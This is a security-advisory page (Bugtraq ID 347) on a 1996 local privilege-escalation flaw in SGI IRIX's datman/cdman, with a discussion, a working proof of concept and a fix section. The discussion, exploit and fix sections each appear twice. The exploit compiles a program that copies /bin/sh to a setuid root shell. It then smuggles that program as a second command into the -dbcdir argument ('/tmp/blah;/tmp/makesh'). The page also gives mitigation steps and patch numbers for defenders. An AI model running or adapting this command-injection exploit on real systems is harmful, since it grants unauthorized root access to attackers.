IRIX datman/cdman Vulnerability
BID:347
Info
IRIX datman/cdman Vulnerability
| Bugtraq ID: | 347 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 09 1996 12:00AM |
| Updated: | Dec 09 1996 12:00AM |
| Credit: | This bug was reported to the Bugtraq mailing list on December 9, 1996 by Yuri Volobuev <[email protected]> |
| Vulnerable: |
SGI IRIX 6.4 SGI IRIX 6.3 SGI IRIX 6.1 SGI IRIX 6.0.1 XFS SGI IRIX 6.0.1 SGI IRIX 6.0 SGI IRIX 5.3 SGI IRIX 5.2 SGI IRIX 5.1.1 SGI IRIX 5.1 SGI IRIX 5.0.1 SGI IRIX 5.0 |
| Not Vulnerable: | |
Discussion
IRIX datman/cdman Vulnerability
A vulnerability exists in the datman/cdman program, as included with Irix 6.2 and 5.3 from Silicon Graphics Inc. The vulnerability would allow arbitrary users to execute commands as root.
The datman/cdman program will search for the existance of a .cdplayerrc in the users home directory. If it is found, and no .cddb directory is found, cdman will run the cddbcvt program. This program is invoked with the names of both the old and new databases via a system() call. Because of this, it is possible to substitute the names of the database with a command to be executed.
A vulnerability exists in the datman/cdman program, as included with Irix 6.2 and 5.3 from Silicon Graphics Inc. The vulnerability would allow arbitrary users to execute commands as root.
The datman/cdman program will search for the existance of a .cdplayerrc in the users home directory. If it is found, and no .cddb directory is found, cdman will run the cddbcvt program. This program is invoked with the names of both the old and new databases via a system() call. Because of this, it is possible to substitute the names of the database with a command to be executed.
Exploit / POC
IRIX datman/cdman Vulnerability
% cat > /tmp/makesh.c
main()
{
seteuid(0); setegid(0);
system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
% cc /tmp/makesh.c -o /tmp/makesh
% mv .cddb .cddb.old
% touch .cdplayerrc
% /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh"
Created "/tmp/blah"
Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh*
% cat > /tmp/makesh.c
main()
{
seteuid(0); setegid(0);
system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
% cc /tmp/makesh.c -o /tmp/makesh
% mv .cddb .cddb.old
% touch .cdplayerrc
% /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh"
Created "/tmp/blah"
Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh*
Solution / Fix
IRIX datman/cdman Vulnerability
Solution:
Removal of the setuid bit is a suitable short term solution:
chmod -s /usr/sbin/cdman /usr/sbin/datman
Patches are available from SGI at http://support.sgi.com
OS Version Vulnerable? Patch #
---------- ----------- -------
IRIX 3.x no
IRIX 4.x no
IRIX 5.0.x yes not avail
IRIX 5.1.x yes not avail
IRIX 5.2 yes not avail
IRIX 5.3 yes 2563
IRIX 6.0.x yes not avail
IRIX 6.1 yes not avail
IRIX 6.2 yes 2564
IRIX 6.3 yes 2565
IRIX 6.4 yes 2291
Solution:
Removal of the setuid bit is a suitable short term solution:
chmod -s /usr/sbin/cdman /usr/sbin/datman
Patches are available from SGI at http://support.sgi.com
OS Version Vulnerable? Patch #
---------- ----------- -------
IRIX 3.x no
IRIX 4.x no
IRIX 5.0.x yes not avail
IRIX 5.1.x yes not avail
IRIX 5.2 yes not avail
IRIX 5.3 yes 2563
IRIX 6.0.x yes not avail
IRIX 6.1 yes not avail
IRIX 6.2 yes 2564
IRIX 6.3 yes 2565
IRIX 6.4 yes 2291